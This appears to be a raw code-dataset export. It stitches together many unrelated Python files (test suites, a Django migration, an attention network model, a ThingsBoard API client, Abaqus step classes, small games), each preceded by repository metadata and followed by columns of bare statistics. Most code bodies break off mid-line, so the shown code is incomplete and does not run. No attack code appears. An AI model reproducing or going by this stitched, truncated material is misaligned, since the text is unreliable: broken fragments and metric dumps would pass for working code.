mikey/lpcperipheral
ef2f91127c14f9f49759f614f512f3b79f659327
[ "Apache-2.0" ]
3
2021-10-05T01:28:22.000Z
2021-10-08T13:45:32.000Z
import unittest START_IO = 0b0000 START_FWRD = 0b1101 START_FWWR = 0b1110 CYCLE_IOWRITE = 0b0010 CYCLE_IOREAD = 0b0000 SYNC_READY = 0b0000 SYNC_SHORT_WAIT = 0b0101 SYNC_LONG_WAIT = 0b0110 class Helpers: def wishbone_write(self, wb, addr, data, sel=1, delay=1): yield wb.adr.eq(addr) yiel...
29.592466
72
0.550631
1,215
8,641
3.812346
0.098765
0.15544
0.187608
0.178756
0.912781
0.908895
0.908895
0.908895
0.905225
0.905225
0
0.044276
0.343942
8,641
291
73
29.694158
0.772799
0.161208
0
0.884615
0
0
0
0
0
0
0.008339
0
0.206731
1
0.033654
false
0
0.004808
0
0.043269
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
81736bc4f859d16bee6a6e3bbf2f625942560a21
18
py
Python
contrib/python/parso/py2/tests/normalizer_issue_files/allowed_syntax_python2.py
jochenater/catboost
de2786fbc633b0d6ea6a23b3862496c6151b95c2
[ "Apache-2.0" ]
6,989
2017-07-18T06:23:18.000Z
2022-03-31T15:58:36.000Z
contrib/python/parso/py2/tests/normalizer_issue_files/allowed_syntax_python2.py
jochenater/catboost
de2786fbc633b0d6ea6a23b3862496c6151b95c2
[ "Apache-2.0" ]
1,978
2017-07-18T09:17:58.000Z
2022-03-31T14:28:43.000Z
contrib/python/parso/py2/tests/normalizer_issue_files/allowed_syntax_python2.py
jochenater/catboost
de2786fbc633b0d6ea6a23b3862496c6151b95c2
[ "Apache-2.0" ]
1,228
2017-07-18T09:03:13.000Z
2022-03-29T05:57:40.000Z
's' b'' u's' b'ä'
6
9
0.333333
6
18
1
0.666667
0.666667
0
0
0
0
0
0
0
0
0
0
0.222222
18
2
10
9
0.428571
0
0
0
0
0
0.166667
0
0
0
0
0
0
0
null
null
0
0
null
null
0
1
1
1
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
7
81ddae66b5a379a55356e856e919f1d88a55a6c9
3,349
py
Python
tests/lib/bes/common/test_number_util.py
reconstruir/bes
82ff54b2dadcaef6849d7de424787f1dedace85c
[ "Apache-2.0" ]
null
null
null
tests/lib/bes/common/test_number_util.py
reconstruir/bes
82ff54b2dadcaef6849d7de424787f1dedace85c
[ "Apache-2.0" ]
null
null
null
tests/lib/bes/common/test_number_util.py
reconstruir/bes
82ff54b2dadcaef6849d7de424787f1dedace85c
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python #-*- coding:utf-8; mode:python; indent-tabs-mode: nil; c-basic-offset: 2; tab-width: 2 -*- import unittest from bes.common.number_util import number_util from bes.system.compat import compat class Testnumber_util(unittest.TestCase): def test_int_to_base2(self): self.assertEqual( '1', numb...
44.065789
90
0.697522
532
3,349
4.112782
0.114662
0.23309
0.190128
0.1234
0.811243
0.811243
0.743601
0.743144
0.719378
0.496344
0
0.051453
0.14691
3,349
75
91
44.653333
0.714386
0.032547
0
0.032787
0
0
0.02656
0
0
0
0
0
0.803279
1
0.065574
false
0
0.04918
0
0.131148
0
0
0
0
null
1
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
8
81e193d53c57c9ca2f22b2f46dcdbeb71ebfc639
40,652
py
Python
tests/helpscout/test_client.py
santiher/python-helpscout-v2
d1cfba119e0f87da9de9798304e1969a75a48189
[ "MIT" ]
4
2019-08-28T11:58:59.000Z
2022-03-16T23:39:40.000Z
tests/helpscout/test_client.py
santiher/python-helpscout-v2
d1cfba119e0f87da9de9798304e1969a75a48189
[ "MIT" ]
3
2019-08-28T17:34:27.000Z
2019-10-15T08:54:34.000Z
tests/helpscout/test_client.py
santiher/python-helpscout-v2
d1cfba119e0f87da9de9798304e1969a75a48189
[ "MIT" ]
3
2021-06-10T21:23:12.000Z
2021-09-20T22:09:17.000Z
from functools import partial from unittest import main, TestCase from unittest.mock import call, MagicMock, patch, PropertyMock from helpscout.client import EmbeddedKey, HelpScout, HelpScoutEndpointRequester from helpscout.exceptions import (HelpScoutException, HelpScoutAuthenticatio...
45.779279
79
0.568877
4,136
40,652
5.301741
0.043762
0.0472
0.047428
0.023942
0.900036
0.86743
0.85685
0.837833
0.826204
0.817174
0
0.007972
0.318066
40,652
887
80
45.830891
0.783024
0.006716
0
0.763682
0
0
0.126063
0.064507
0
0
0
0
0.205224
1
0.044776
false
0
0.006219
0
0.059701
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
f2032119c30b4674a4cc4ed890a1ff746d8c01cc
7,063
py
Python
tests/test_graph.py
jejjohnson/kernellib
eb9f80c1b605c8a6b5e8a324efd4ef07d8f59050
[ "MIT" ]
1
2021-02-04T08:52:04.000Z
2021-02-04T08:52:04.000Z
tests/test_graph.py
jejjohnson/kernellib
eb9f80c1b605c8a6b5e8a324efd4ef07d8f59050
[ "MIT" ]
null
null
null
tests/test_graph.py
jejjohnson/kernellib
eb9f80c1b605c8a6b5e8a324efd4ef07d8f59050
[ "MIT" ]
1
2018-04-17T06:42:09.000Z
2018-04-17T06:42:09.000Z
""" General and conceptual tests for graph routines Date Created : Tuesday, 7th February, 2017 Author : J. Emmanuel Johnson Email : emanjohnson91@gmail.com Most of the tests here are based off of the sklearn library. I decided not to reinvent the wheel and just wanted to use what they already ha...
28.479839
75
0.605692
840
7,063
4.940476
0.15119
0.077108
0.047229
0.011566
0.802651
0.799759
0.768434
0.766024
0.766024
0.766024
0
0.02013
0.282599
7,063
247
76
28.595142
0.798895
0.266884
0
0.915254
0
0
0.049105
0
0
0
0
0.004049
0.059322
1
0.050847
false
0
0.033898
0
0.084746
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
48240a62329cd3327ea4cc491f193c86197dd20d
136
py
Python
predicteasy/core/nlp/__init__.py
CleverInsight/predicteasy
d16354b46abc1de032c7b188666533898847fac1
[ "BSD-3-Clause" ]
1
2021-09-06T21:20:06.000Z
2021-09-06T21:20:06.000Z
predicteasy/core/nlp/__init__.py
CleverInsight/predicteasy
d16354b46abc1de032c7b188666533898847fac1
[ "BSD-3-Clause" ]
13
2020-07-16T10:51:25.000Z
2020-07-16T10:53:56.000Z
predicteasy/core/nlp/__init__.py
CleverInsight/predicteasy
d16354b46abc1de032c7b188666533898847fac1
[ "BSD-3-Clause" ]
2
2020-07-16T10:45:26.000Z
2020-07-16T10:46:04.000Z
from predicteasy.core.nlp.sentiment import * from predicteasy.core.nlp.summarize import * from predicteasy.core.nlp.spelling import *
22.666667
44
0.808824
18
136
6.111111
0.444444
0.409091
0.518182
0.6
0.509091
0
0
0
0
0
0
0
0.102941
136
5
45
27.2
0.901639
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
82f2312f69dda837db6d3bcbd25f99c035402721
2,125
py
Python
tests/test_predict.py
thomaspinder/GPJax
929fcb88d13d15bb10e1175491dbc3e79622325a
[ "Apache-2.0" ]
44
2020-12-03T14:07:39.000Z
2022-03-14T17:45:34.000Z
tests/test_predict.py
thomaspinder/GPJax
929fcb88d13d15bb10e1175491dbc3e79622325a
[ "Apache-2.0" ]
28
2020-12-05T08:54:45.000Z
2022-03-01T09:56:50.000Z
tests/test_predict.py
thomaspinder/GPJax
929fcb88d13d15bb10e1175491dbc3e79622325a
[ "Apache-2.0" ]
7
2021-02-05T12:37:57.000Z
2022-03-13T13:00:20.000Z
import jax.numpy as jnp import jax.random as jr from gpjax import Dataset, Prior from gpjax.kernels import RBF from gpjax.likelihoods import Bernoulli, Gaussian from gpjax.parameters import initialise from gpjax.predict import mean, variance def test_conjugate_mean(): key = jr.PRNGKey(123) x = jr.uniform(key...
30.797101
83
0.629647
345
2,125
3.849275
0.176812
0.040663
0.041416
0.045181
0.832078
0.832078
0.832078
0.763554
0.763554
0.763554
0
0.059684
0.195765
2,125
68
84
31.25
0.717379
0
0
0.705882
0
0
0
0
0
0
0
0
0.078431
1
0.078431
false
0
0.137255
0
0.215686
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
d24e569733e74a54f0efdc4bf4c198560ebe4c98
19,686
py
Python
ltiauthenticator/tests/test_lti11_validator.py
regisb/ltiauthenticator
c32307f7baf8a9a50863faf806983e1dd00ef6c4
[ "BSD-3-Clause" ]
54
2018-01-20T03:09:30.000Z
2022-03-22T04:30:44.000Z
ltiauthenticator/tests/test_lti11_validator.py
regisb/ltiauthenticator
c32307f7baf8a9a50863faf806983e1dd00ef6c4
[ "BSD-3-Clause" ]
68
2018-01-12T23:55:03.000Z
2022-01-27T14:24:08.000Z
ltiauthenticator/tests/test_lti11_validator.py
regisb/ltiauthenticator
c32307f7baf8a9a50863faf806983e1dd00ef6c4
[ "BSD-3-Clause" ]
46
2018-02-23T09:17:29.000Z
2022-03-21T20:11:06.000Z
import pytest from tornado.web import HTTPError from ltiauthenticator.lti11.validator import LTI11LaunchValidator def test_basic_lti11_launch_request(make_lti11_basic_launch_request_args): """ Does a standard launch request work? """ oauth_consumer_key = "my_consumer_key" oauth_consumer_secret = ...
32.431631
87
0.738393
2,433
19,686
5.546239
0.033703
0.163776
0.106714
0.142285
0.949755
0.940418
0.940418
0.937824
0.934119
0.934119
0
0.011065
0.173677
19,686
606
88
32.485149
0.818467
0.09108
0
0.778667
0
0
0.192231
0.054751
0
0
0
0
0.008
1
0.072
false
0
0.008
0
0.08
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
d26ad65ebb841cb4464714963fb2672339818ce5
15,738
py
Python
giotto/diagrams/distance.py
fossabot/giotto-learn-1
e68dacf2f34bd0d0513c816a723627431bed4b4a
[ "Apache-2.0" ]
1
2020-03-27T12:09:09.000Z
2020-03-27T12:09:09.000Z
giotto/diagrams/distance.py
marta-l2f/giotto-learn
7e693b76e03ea422a3046fc8931f0be6b02fab64
[ "Apache-2.0" ]
null
null
null
giotto/diagrams/distance.py
marta-l2f/giotto-learn
7e693b76e03ea422a3046fc8931f0be6b02fab64
[ "Apache-2.0" ]
null
null
null
# License: Apache 2.0 import numpy as np from sklearn.base import BaseEstimator, TransformerMixin from sklearn.utils.validation import check_is_fitted from ._metrics import _parallel_pairwise, _parallel_amplitude from ._utils import _discretize from ..utils.validation import check_diagram, validate_params, \ vali...
41.634921
79
0.6206
1,851
15,738
5.162615
0.161534
0.048974
0.043951
0.041859
0.801486
0.769883
0.746756
0.746756
0.73378
0.714734
0
0.007004
0.274241
15,738
377
80
41.745358
0.829627
0.665205
0
0.802198
0
0
0.050934
0.011642
0
0
0
0
0
1
0.065934
false
0
0.065934
0
0.230769
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
962df033e393c78b064fe61a77a627df4a29e5f8
1,821
py
Python
rsscraper/feeds/migrations/0002_auto_20200104_0011.py
Sunno/rsscraper
a9897d507980ec4525e8521188cf76203829caca
[ "MIT" ]
null
null
null
rsscraper/feeds/migrations/0002_auto_20200104_0011.py
Sunno/rsscraper
a9897d507980ec4525e8521188cf76203829caca
[ "MIT" ]
null
null
null
rsscraper/feeds/migrations/0002_auto_20200104_0011.py
Sunno/rsscraper
a9897d507980ec4525e8521188cf76203829caca
[ "MIT" ]
null
null
null
# Generated by Django 2.2.9 on 2020-01-04 04:11 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('feeds', '0001_initial'), ] operations = [ migrations.RemoveField( model_name='feed', name='favorite', ), ...
28.904762
75
0.532674
162
1,821
5.888889
0.308642
0.09434
0.216981
0.254717
0.759958
0.759958
0.759958
0.714885
0.714885
0.714885
0
0.023333
0.341021
1,821
62
76
29.370968
0.771667
0.024712
0
0.75
1
0
0.086246
0
0
0
0
0
0
1
0
false
0
0.017857
0
0.071429
0
0
0
0
null
0
1
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
96bcbd75ea7e93a269f880a91d9722c065ddd1a9
19,319
py
Python
model.py
ejcgt/attention-target-detection
acd264a3c9e6002b71244dea8c1873e5c5818500
[ "MIT" ]
101
2020-03-05T06:47:05.000Z
2022-03-31T03:42:51.000Z
model.py
ejcgt/attention-target-detection
acd264a3c9e6002b71244dea8c1873e5c5818500
[ "MIT" ]
12
2020-03-12T11:10:57.000Z
2022-01-14T03:58:03.000Z
model.py
ejcgt/attention-target-detection
acd264a3c9e6002b71244dea8c1873e5c5818500
[ "MIT" ]
31
2020-06-17T22:00:13.000Z
2022-01-20T06:18:20.000Z
import torch import torch.nn as nn import torch.nn.functional as F from torch.nn.utils.rnn import pack_padded_sequence, PackedSequence import math from lib.pytorch_convolutional_rnn import convolutional_rnn import numpy as np class Bottleneck(nn.Module): expansion = 4 def __init__(self, inplanes, planes, str...
43.219239
156
0.618562
2,552
19,319
4.509404
0.080329
0.032152
0.019117
0.020681
0.904501
0.901025
0.901025
0.88747
0.88747
0.877303
0
0.052961
0.271857
19,319
446
157
43.316144
0.765124
0.07547
0
0.832845
0
0
0
0
0
0
0
0
0
1
0.035191
false
0
0.020528
0
0.096774
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
73a95a549e48961227b72139c22f512710490c7b
16,747
py
Python
tests/test_alias.py
rogererens/enaml
06cd917dfa4f8b924e871a8c6360ce3ef2e45971
[ "BSD-3-Clause-Clear" ]
null
null
null
tests/test_alias.py
rogererens/enaml
06cd917dfa4f8b924e871a8c6360ce3ef2e45971
[ "BSD-3-Clause-Clear" ]
null
null
null
tests/test_alias.py
rogererens/enaml
06cd917dfa4f8b924e871a8c6360ce3ef2e45971
[ "BSD-3-Clause-Clear" ]
null
null
null
#------------------------------------------------------------------------------ # Copyright (c) 2013, Nucleic Development Team. # # Distributed under the terms of the Modified BSD License. # # The full license is in the file COPYING.txt, distributed with this software. #-------------------------------------------------...
21.693005
79
0.499612
1,554
16,747
5.297297
0.058559
0.078231
0.069971
0.091837
0.935739
0.925777
0.916059
0.902575
0.89723
0.887755
0
0.006541
0.287992
16,747
771
80
21.721141
0.683831
0.134054
0
0.867537
0
0
0.663048
0
0
0
0
0
0.026119
1
0.067164
false
0.037313
0.072761
0
0.139925
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
fb990033b20e432941ca32d17dd96d9d1f820e4a
1,888
py
Python
test/test_base.py
yarikoptic/tinuous
23bcccce77a0c118cd07f06ad1cc6ee1a4edb58e
[ "MIT" ]
null
null
null
test/test_base.py
yarikoptic/tinuous
23bcccce77a0c118cd07f06ad1cc6ee1a4edb58e
[ "MIT" ]
null
null
null
test/test_base.py
yarikoptic/tinuous
23bcccce77a0c118cd07f06ad1cc6ee1a4edb58e
[ "MIT" ]
null
null
null
import pytest from tinuous.base import WorkflowSpec @pytest.mark.parametrize( "spec,path,r", [ ( WorkflowSpec(include=["build.yaml"], exclude=[], regex=False), ".github/workflows/build.yaml", True, ), ( WorkflowSpec(include=["build.yaml"...
28.606061
85
0.457627
165
1,888
5.224242
0.2
0.198376
0.185615
0.167053
0.795824
0.788863
0.759861
0.759861
0.75522
0.730858
0
0
0.370763
1,888
65
86
29.046154
0.725589
0
0
0.645161
0
0
0.239407
0.141419
0
0
0
0
0.016129
1
0.016129
false
0
0.032258
0
0.048387
0
0
0
0
null
0
1
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
fbbacdd9e403395655013f562cb94f48b3ab115b
205
py
Python
pypy/translator/js/examples/djangoping/test/test_build.py
camillobruni/pygirl
ddbd442d53061d6ff4af831c1eab153bcc771b5a
[ "MIT" ]
12
2016-01-06T07:10:28.000Z
2021-05-13T23:02:02.000Z
pypy/translator/js/examples/djangoping/test/test_build.py
camillobruni/pygirl
ddbd442d53061d6ff4af831c1eab153bcc771b5a
[ "MIT" ]
null
null
null
pypy/translator/js/examples/djangoping/test/test_build.py
camillobruni/pygirl
ddbd442d53061d6ff4af831c1eab153bcc771b5a
[ "MIT" ]
2
2016-07-29T07:09:50.000Z
2016-10-16T08:50:26.000Z
from pypy.translator.js.main import rpython2javascript def test_build(): from pypy.translator.js.examples.djangoping import client assert rpython2javascript(client, ['ping_init'], use_pdb=False)
29.285714
67
0.790244
26
205
6.115385
0.730769
0.100629
0.226415
0.251572
0
0
0
0
0
0
0
0.01105
0.117073
205
6
68
34.166667
0.867403
0
0
0
0
0
0.044118
0
0
0
0
0
0.25
1
0.25
true
0
0.5
0
0.75
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
1
0
0
8
fbd56344777f0c659ca2d7f2d1665aecad8a0925
19,390
py
Python
pytests/tuqquery/upgrade_n1qlrbac.py
couchbaselabs/testrunner-bharath
96af90070da2140cc11c549db7403f5ea3b76d34
[ "Apache-2.0" ]
null
null
null
pytests/tuqquery/upgrade_n1qlrbac.py
couchbaselabs/testrunner-bharath
96af90070da2140cc11c549db7403f5ea3b76d34
[ "Apache-2.0" ]
null
null
null
pytests/tuqquery/upgrade_n1qlrbac.py
couchbaselabs/testrunner-bharath
96af90070da2140cc11c549db7403f5ea3b76d34
[ "Apache-2.0" ]
null
null
null
import logging from couchbase_helper.documentgenerator import BlobGenerator from couchbase_helper.tuq_helper import N1QLHelper from newupgradebasetest import NewUpgradeBaseTest from pytests.tuqquery.n1ql_rbac_2 import RbacN1QL from remote.remote_util import RemoteMachineShellConnection log = logging.getLogger(__name_...
57.029412
134
0.651934
2,407
19,390
5.025758
0.089738
0.059519
0.033562
0.037034
0.859965
0.830867
0.80119
0.769364
0.758618
0.739688
0
0.013832
0.246828
19,390
339
135
57.19764
0.814503
0.159876
0
0.702811
0
0.028112
0.189925
0
0
0
0
0
0.120482
1
0.048193
false
0.048193
0.024096
0
0.076305
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
fbd7c5e6201afffc1fd5e6e07beb71a9a0b04636
223
py
Python
src/visualization/__init__.py
ri-heme/02456
9d25d256eb836b86bbfb323b0851c74ced7b55ee
[ "FTL" ]
1
2022-01-17T14:12:39.000Z
2022-01-17T14:12:39.000Z
src/visualization/__init__.py
ri-heme/02456
9d25d256eb836b86bbfb323b0851c74ced7b55ee
[ "FTL" ]
null
null
null
src/visualization/__init__.py
ri-heme/02456
9d25d256eb836b86bbfb323b0851c74ced7b55ee
[ "FTL" ]
null
null
null
__all__ = ["generate_projection", "plot_grid", "plot_metrics", "plot_projection"] from src.visualization.metrics import plot_grid, plot_metrics from src.visualization.projection import plot_projection, generate_projection
44.6
81
0.834081
27
223
6.444444
0.37037
0.206897
0.137931
0.218391
0
0
0
0
0
0
0
0
0.076233
223
4
82
55.75
0.84466
0
0
0
1
0
0.246637
0
0
0
0
0
0
1
0
false
0
0.666667
0
0.666667
0
1
0
0
null
1
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
7
83c06b5de4c18f3265ff29d3b8ef7a30806c0d6e
41,250
py
Python
tb_rest_client/api/api_ce/tb_resource_controller_api.py
samson0v/python_tb_rest_client
08ff7898740f7cec2170e85d5c3c89e222e967f7
[ "Apache-2.0" ]
30
2020-06-19T06:42:50.000Z
2021-08-23T21:16:36.000Z
tb_rest_client/api/api_ce/tb_resource_controller_api.py
samson0v/python_tb_rest_client
08ff7898740f7cec2170e85d5c3c89e222e967f7
[ "Apache-2.0" ]
25
2021-08-30T01:17:27.000Z
2022-03-16T14:10:14.000Z
tb_rest_client/api/api_ce/tb_resource_controller_api.py
samson0v/python_tb_rest_client
08ff7898740f7cec2170e85d5c3c89e222e967f7
[ "Apache-2.0" ]
23
2020-07-06T13:41:54.000Z
2021-08-23T21:04:50.000Z
# coding: utf-8 """ ThingsBoard REST API ThingsBoard open-source IoT platform REST API documentation. # noqa: E501 OpenAPI spec version: 3.3.3-SNAPSHOT Contact: info@thingsboard.io Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import impo...
48.529412
566
0.651442
5,070
41,250
5.061341
0.057594
0.039593
0.017458
0.022447
0.964343
0.956705
0.951872
0.943221
0.940026
0.934726
0
0.020787
0.266424
41,250
849
567
48.586572
0.827231
0.426327
0
0.796053
0
0
0.21159
0.066285
0
0
0
0
0
1
0.037281
false
0
0.008772
0
0.100877
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
83c73940406bc5cab5fe7665f127a6606f11ba4c
27,672
py
Python
src/abaqus/Step/DirectCyclicStep.py
Haiiliin/PyAbaqus
f20db6ebea19b73059fe875a53be370253381078
[ "MIT" ]
7
2022-01-21T09:15:45.000Z
2022-02-15T09:31:58.000Z
src/abaqus/Step/DirectCyclicStep.py
Haiiliin/PyAbaqus
f20db6ebea19b73059fe875a53be370253381078
[ "MIT" ]
null
null
null
src/abaqus/Step/DirectCyclicStep.py
Haiiliin/PyAbaqus
f20db6ebea19b73059fe875a53be370253381078
[ "MIT" ]
null
null
null
from abaqusConstants import * from .AnalysisStep import AnalysisStep from ..Adaptivity.AdaptiveMeshConstraintState import AdaptiveMeshConstraintState from ..Adaptivity.AdaptiveMeshDomain import AdaptiveMeshDomain from ..BoundaryCondition.BoundaryConditionState import BoundaryConditionState from ..Load.LoadCase import L...
48.377622
119
0.691638
3,260
27,672
5.841718
0.086503
0.049884
0.074827
0.084804
0.810702
0.765228
0.740968
0.716184
0.713453
0.71193
0
0.009166
0.266659
27,672
571
120
48.462347
0.929089
0.735509
0
0.211765
0
0
0
0
0
0
0
0
0
1
0.023529
false
0.023529
0.176471
0
0.729412
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
7
83ce81529de513a89cfd68a87631c64a2bd34b7d
1,054
py
Python
stock/forms.py
WitnessEncrypter/rappsystems
15b81ae933a084180eab6637a20b748126eae0f9
[ "MIT" ]
null
null
null
stock/forms.py
WitnessEncrypter/rappsystems
15b81ae933a084180eab6637a20b748126eae0f9
[ "MIT" ]
null
null
null
stock/forms.py
WitnessEncrypter/rappsystems
15b81ae933a084180eab6637a20b748126eae0f9
[ "MIT" ]
null
null
null
from django import forms class AddStock(forms.Form): stock_name = forms.CharField(max_length=200,widget=forms.TextInput(attrs={'class':'form-control','placeholder':'Enter Stock Item Name'})) stock_category = forms.CharField(max_length=200,widget=forms.TextInput(attrs={'class':'form-control','placeholder':'Ent...
81.076923
157
0.760911
137
1,054
5.737226
0.211679
0.124682
0.151399
0.204835
0.78117
0.78117
0.78117
0.78117
0.78117
0.78117
0
0.021407
0.06926
1,054
12
158
87.833333
0.779817
0
0
0
0
0
0.307692
0
0
0
0
0
0
1
0
false
0
0.111111
0
1
0
0
0
0
null
0
0
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
7
793defadc47678235c765e7509f4204da95aa252
32
py
Python
python_practice/9.7 test 7.py
ccom33/python_practice
9a3551610c46b0bae15542575033e8ed7e967289
[ "MIT" ]
null
null
null
python_practice/9.7 test 7.py
ccom33/python_practice
9a3551610c46b0bae15542575033e8ed7e967289
[ "MIT" ]
null
null
null
python_practice/9.7 test 7.py
ccom33/python_practice
9a3551610c46b0bae15542575033e8ed7e967289
[ "MIT" ]
null
null
null
a = a+1 a += 1 b = b-5 b -= 5
4.571429
7
0.3125
10
32
1
0.4
0.4
0
0
0
0
0
0
0
0
0
0.222222
0.4375
32
6
8
5.333333
0.333333
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
1
null
1
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
f715bca80298b84ce5bd4435a0da66ffc75de251
19,652
py
Python
Bloxorz.py
ilkercankaya/Bloxorz
212e8f051329f4f7392e336b9a99d5c4ae78c019
[ "MIT" ]
null
null
null
Bloxorz.py
ilkercankaya/Bloxorz
212e8f051329f4f7392e336b9a99d5c4ae78c019
[ "MIT" ]
null
null
null
Bloxorz.py
ilkercankaya/Bloxorz
212e8f051329f4f7392e336b9a99d5c4ae78c019
[ "MIT" ]
null
null
null
# 0 is for perpendicular mode # 1 is for flat mode # 0 is for X-Axis config # 1 is for Y-Axis mode from copy import deepcopy class Block: def __init__(self, givenboard, mode, config, positionfirstbox, positionsecondbox): # Copy Board self.board = givenboard # Fill the Board with Block ...
48.403941
112
0.520507
1,943
19,652
5.260422
0.045805
0.303297
0.145876
0.105665
0.886704
0.876627
0.863321
0.838078
0.809901
0.769396
0
0.035764
0.373957
19,652
405
113
48.523457
0.795009
0.06208
0
0.664596
0
0
0.00147
0
0
0
0
0
0
1
0.049689
false
0
0.003106
0
0.251553
0.021739
0
0
0
null
1
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
f75d8056d252f05063a906d0c7a30199a76fe13c
195
py
Python
tests/detector/does_not_inherit/__init__.py
dadaloop82/viseron
1c6c446a4856e16c0e2ed6b9323d169fbdcae20f
[ "MIT" ]
399
2020-08-31T21:13:07.000Z
2022-03-31T18:54:26.000Z
tests/detector/does_not_inherit/__init__.py
dadaloop82/viseron
1c6c446a4856e16c0e2ed6b9323d169fbdcae20f
[ "MIT" ]
157
2020-09-01T18:59:56.000Z
2022-03-25T07:14:19.000Z
tests/detector/does_not_inherit/__init__.py
dadaloop82/viseron
1c6c446a4856e16c0e2ed6b9323d169fbdcae20f
[ "MIT" ]
53
2020-09-01T07:35:59.000Z
2022-03-28T23:21:16.000Z
"""Dummy class that does not inherit from the required AbstractObjectDetection.""" class ObjectDetection: """Dummy class that does not inherit from the required AbstractObjectDetection."""
32.5
86
0.779487
22
195
6.909091
0.5
0.131579
0.184211
0.236842
0.868421
0.868421
0.868421
0.868421
0.868421
0.868421
0
0
0.14359
195
5
87
39
0.91018
0.784615
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0
0
1
0
1
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
1
0
0
12
f7987d541135e12467c1e68263340cd2f93e7071
3,066
py
Python
tests/test_link_transformation.py
trnielsen/nexus-constructor
65efb6eedca30250b75f142dd29a46bc909958df
[ "BSD-2-Clause" ]
null
null
null
tests/test_link_transformation.py
trnielsen/nexus-constructor
65efb6eedca30250b75f142dd29a46bc909958df
[ "BSD-2-Clause" ]
null
null
null
tests/test_link_transformation.py
trnielsen/nexus-constructor
65efb6eedca30250b75f142dd29a46bc909958df
[ "BSD-2-Clause" ]
null
null
null
from tests.helpers import add_component_to_file from PySide2.QtGui import QVector3D from nexus_constructor.component.component import Component def test_linked_component_is_none_1(nexus_wrapper): component1 = add_component_to_file(nexus_wrapper, "field", 42, "component1") assert component1.transforms.link.lin...
44.434783
80
0.776256
412
3,066
5.475728
0.104369
0.021277
0.023936
0.095745
0.917553
0.917553
0.895833
0.895833
0.895833
0.895833
0
0.058604
0.126223
3,066
68
81
45.088235
0.783501
0
0
0.72
0
0
0.053816
0
0
0
0
0
0.14
1
0.14
false
0
0.06
0
0.2
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
e39bb09631944e2a9524a8fb7139242bfa313c5a
4,360
py
Python
sampleboards.py
CooperLloyd/connect4-logic-model
1e9330aa25c639b22c00e55b4bdf3c4c60159289
[ "MIT" ]
null
null
null
sampleboards.py
CooperLloyd/connect4-logic-model
1e9330aa25c639b22c00e55b4bdf3c4c60159289
[ "MIT" ]
null
null
null
sampleboards.py
CooperLloyd/connect4-logic-model
1e9330aa25c639b22c00e55b4bdf3c4c60159289
[ "MIT" ]
null
null
null
red = 0 black = 1 empty = 2 #Expected Outcome: True row_win = [ [empty, empty, empty, empty, empty, empty, empty], [empty, empty, empty, empty, empty, empty, empty], [empty, red, red, red, red, empty, empty], [red, black, red, black, red, empty, empty], [black, red, black, red, ...
